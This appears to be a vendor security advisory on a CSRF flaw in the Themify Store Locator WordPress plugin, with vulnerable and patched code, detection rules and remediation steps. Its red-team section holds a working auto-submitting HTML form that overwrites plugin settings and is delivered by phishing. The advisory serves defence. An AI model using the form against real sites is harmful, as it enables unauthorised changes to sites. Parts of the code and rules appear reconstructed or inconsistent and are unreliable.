CVE-2024-12414

Executive Summary

CVE-2024-12414 is a Cross-Site Request Forgery (CSRF) vulnerability in the Themify Store Locator WordPress plugin, affecting all versions up to and including 1.1.9. The flaw resides in the setting_page() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that modify plugin settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation at this time. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Themify Store Locator plugin. It is not related to Apache or Nginx. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (settings modification)
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction and the limited impact (only settings modification, not data exfiltration or full compromise).

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress admin area. The setting_page() function in the Themify Store Locator plugin processes POST requests to update plugin settings (e.g., API keys, map coordinates, display options). However, it does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or link that, when clicked by an authenticated admin, sends a forged POST request to the vulnerable endpoint, altering the plugin's configuration.

Root Cause: Missing nonce validation in the setting_page() function.

Attack Flow:

1. Attacker identifies a site using Themify Store Locator (e.g., via Shodan dorks).
2. Attacker crafts a malicious link or form that submits a POST request to /wp-admin/admin-post.php?action=themify_store_locator_settings with arbitrary parameters.
3. Attacker lures an authenticated admin to click the link (e.g., via phishing email or social engineering).
4. The admin's browser executes the request, modifying plugin settings without their knowledge.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.9):

function setting_page() {
    if ( isset( $_POST['submit'] ) ) {
        // No nonce check
        update_option( 'themify_store_locator_settings', $_POST['settings'] );
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
    // ... render settings form
}

Patched Code (Hypothetical):

function setting_page() {
    if ( isset( $_POST['submit'] ) ) {
        if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'themify_store_locator_settings' ) ) {
            wp_die( 'Security check failed.' );
        }
        update_option( 'themify_store_locator_settings', $_POST['settings'] );
        echo '<div class="updated"><p>Settings saved.</p></div>';
    }
    // ... render settings form with nonce field
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Themify Store Locator <= 1.1.9.
• Authenticated admin session (user interaction required).

Exploit Payload (HTML form):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="themify_store_locator_settings">
    <input type="hidden" name="settings[api_key]" value="attacker_controlled_key">
    <input type="hidden" name="settings[map_center]" value="0,0">
    <input type="hidden" name="submit" value="1">
    <input type="submit" value="Click here to win a prize!">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an admin via email or social engineering.
3. Once the admin clicks, the plugin settings are overwritten.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=themify_store_locator_settings from non-admin IPs.
• Check for missing or invalid nonce errors in WordPress debug logs.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Apply the vendor patch when available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
• Educate admins to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=themify_store_locator_settings and no _wpnonce parameter.
  • Referer header missing or spoofed.
• Host:
  • Modified wp_options table entry for themify_store_locator_settings.
  • Unexpected API keys or map coordinates in plugin settings.
• Logs:
  • WordPress debug log entries: Nonce verification failed (if patched) or missing nonce checks.

Detection Engineering

YARA Rule

rule Detect_Themify_Store_Locator_CSRF {
    meta:
        description = "Detects vulnerable Themify Store Locator plugin files with missing nonce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12414"
    strings:
        $func = "function setting_page()" ascii nocase
        $no_nonce = "update_option( 'themify_store_locator_settings'" ascii nocase
        $nonce_check = "wp_verify_nonce" ascii nocase
    condition:
        $func and $no_nonce and not $nonce_check
}

Sigma Rule

title: CSRF Attempt Against Themify Store Locator
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-post.php with action themify_store_locator_settings without nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=themify_store_locator_settings"
        cs-uri-query|contains: "admin-post.php"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce (should be rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-12414 - Themify Store Locator CSRF Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=themify_store_locator_settings";
    http.client_body; content:!"_wpnonce";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable the Themify Store Locator plugin until a patch is available.
2. Vendor Patch: Contact Themify support for an update. If none, consider forking the plugin and adding nonce validation.
3. WAF Rule: Block POST requests to admin-post.php that lack a _wpnonce parameter.
4. User Education: Train administrators to recognize phishing attempts and avoid clicking untrusted links.
5. Monitoring: Enable WordPress debug logging and monitor for suspicious settings changes.

Valters IT
Securing Digital Frontiers